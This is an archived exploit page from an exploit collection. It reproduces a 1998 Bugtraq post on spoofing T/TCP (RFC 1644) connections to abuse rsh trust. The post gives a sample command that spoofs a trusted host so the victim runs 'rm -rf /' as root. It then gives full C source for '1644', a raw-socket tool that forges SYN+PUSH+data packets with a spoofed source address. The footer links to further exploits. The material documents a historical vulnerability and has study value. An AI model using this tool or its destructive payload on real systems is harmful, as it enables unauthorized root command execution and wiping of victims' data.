TTCP spoofing problem

Summary
Description:Apparently TTCP allows commands to be executed before the full 3-way handshake has been completed. This means an attacker can set up a malicious connection without the trouble of TCP sequence prediction.
Author:Vasim Valejev <vasim@DIASPRO.COM>
Compromise:Exploit trust relationships, avoid logging, all the other benefits that come with "classical" TCP sequencing attacks.
Vulnerable Systems:Those implementing T/TCP (rfc1644). Perhaps FreeBSD allows this attack?
Date:7 April 1998
Details


Date: Tue, 7 Apr 1998 19:26:41 +0600
From: Vasim Valejev <vasim@DIASPRO.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Example of RFC-1644 attack

Hi !

Good news : SYN-flood attack with TTCP-packets will have null
 effects at most systems . But attacks on some tcp-services
 can be successful :

Simple network : computer 'victim' and computer 'master' with
 link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and
 'shell stream ... rshd' in /etc/inetd.conf . Both computers have
 t/tcp (rfc-1644) support .

1. Master does any t/tcp connections to victim . Victim's
 cache[master].cc sets to value > 0 .

... Time passed ...

2. Hacker runs command :

hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'

Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim'
 with source address of 'master' . CC value in packet may be
 any > cache[master].cc (0xffffffff for example) .

3. Hacker's packet received and victim sends SYN+ACK packet to
 master . Preparing to run rshd with hacker's data ('rm -rf /'
 as root) .

... 10-50 ms passed ...

4. Victim's packet received and master sends RST packet .
 Too late , sorry ...



FreeBSD version of 1644 (use ip addresses only) :

/* 1644 by Vasim V.                                              */
/* Please , don't use this program for any destructive targets ! */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define NEED_NEWCC 0x01
#define NEED_FIN 0x02
#define NEED_PUSH 0x04
#define NEED_TSTAMP 0x08

struct fhdr {
        u_long          saddr;
        u_long          daddr;
        u_char          zero;
        u_char          protocol;
        u_short         length;
};

unsigned long cc = 0x7fffff00;

u_short in_cksum(u_short *data,u_short length)
{
        long value;
        u_short i;

        value = 0;
        for(i=0; i < (length >> 1); i++)
                value+=data[i];

        if (length & 1)
                value+=*(((u_char *) data) + length - 1);

        value=(value & 65535) + (value >> 16);

        return(~value);
}

void
sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
{
        struct ip       *mip;
        struct tcphdr   *mtcp;
        struct fhdr     *fhdr;
        int             totlen;
        u_char          buf[9000];
        struct timeval  tp;
        struct sockaddr_in sin;

        gettimeofday(&tp, NULL);
        srandom(tp.tv_usec);
        if (cc == 0)
                cc = tp.tv_sec;
        totlen = sizeof(struct ip) + sizeof(struct tcphdr);

        mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
        mtcp->th_sport = htons(512 + (random() % 512));
        mtcp->th_dport = htons(port);
        mtcp->th_seq = htonl(random());
        mtcp->th_ack = 0;
        mtcp->th_x2 = 0;
        mtcp->th_flags = TH_SYN;
        if (options & NEED_FIN)
                mtcp->th_flags |= TH_FIN;
        if (options & NEED_PUSH)
                mtcp->th_flags |= TH_PUSH;
        mtcp->th_win = htons(17244);
        mtcp->th_urp = 0;
        mtcp->th_sum = 0;

        buf[totlen++] = TCPOPT_MAXSEG;
        buf[totlen++] = TCPOLEN_MAXSEG;
        *((u_short *) &buf[totlen]) = htons(1460);
        totlen += sizeof(u_short);
        if (options & NEED_TSTAMP) {
                *((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
                        TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
                totlen += sizeof(u_long);
                *((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
                totlen += sizeof(u_long);
                *((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
                totlen += sizeof(u_long);
                *((u_long *) &buf[totlen]) = 0;
                totlen += sizeof(u_long);
        }
        buf[totlen++] = TCPOPT_NOP;
        buf[totlen++] = TCPOPT_NOP;
        if (options & NEED_NEWCC)
                buf[totlen++] = TCPOPT_CCNEW;
        else
                buf[totlen++] = TCPOPT_CC;
        buf[totlen++] = TCPOLEN_CC;
        *((u_long *) &buf[totlen]) = htonl(cc);
        cc++;
        totlen += sizeof(u_long);

        mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
        if (data && length)
                memcpy(buf + totlen, data, length);
        fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
        fhdr->saddr = saddr;
        fhdr->daddr = daddr;
        fhdr->zero = 0;
        fhdr->protocol = IPPROTO_TCP;
        fhdr->length = htons(totlen - sizeof(struct ip) + length);
        mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);

        mip = (struct ip *) buf;
        mip->ip_len = totlen + length;
        mip->ip_v = 4;
        mip->ip_hl = 5;
        mip->ip_tos = 0;
        mip->ip_id = htons(random() % 32768);
        mip->ip_off = IP_DF;
        mip->ip_ttl = 0x40;
        mip->ip_p = IPPROTO_TCP;
        mip->ip_sum = 0;
        mip->ip_src.s_addr = saddr;
        mip->ip_dst.s_addr = daddr;
        mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));

        memset((void *) &sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = daddr;
        sin.sin_port = htons(port);
        if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
                perror("sendto");
}

void
main (int argc, char **argv)
{
        u_long          saddr;
        u_long          daddr;
        int             port;
        int             sock;
        u_char          buf[8192];
        int             len;
        int             i;
        u_char          *p;
        u_char          c;

        if (argc != 5) {
                fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
                exit(1);
        }
        saddr = inet_addr(argv[1]);
        daddr = inet_addr(argv[2]);
        port = atoi(argv[3]);

        sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if (sock < 0) {
                perror("raw socket");
                exit(2);
        }
        i = 1;
        setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
        p = buf;
        len = 0;
        for(i = 0; i < strlen(argv[4]); i++) {
                c = argv[4][i];
                if (c == '\\') {
                        i++;
                        c = argv[4][i];
                        switch (c) {
                                case '0':
                                        *p++ = '\0';
                                        break;
                                case 'r':
                                        *p++ = '\r';
                                        break;
                                case 'n':
                                        *p++ = '\n';
                                        break;
                                default:
                                        *p++ = c;
                                        break;
                        }
                } else
                        *p++ = c;
                len++;
        }
        sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
}

Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE)

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: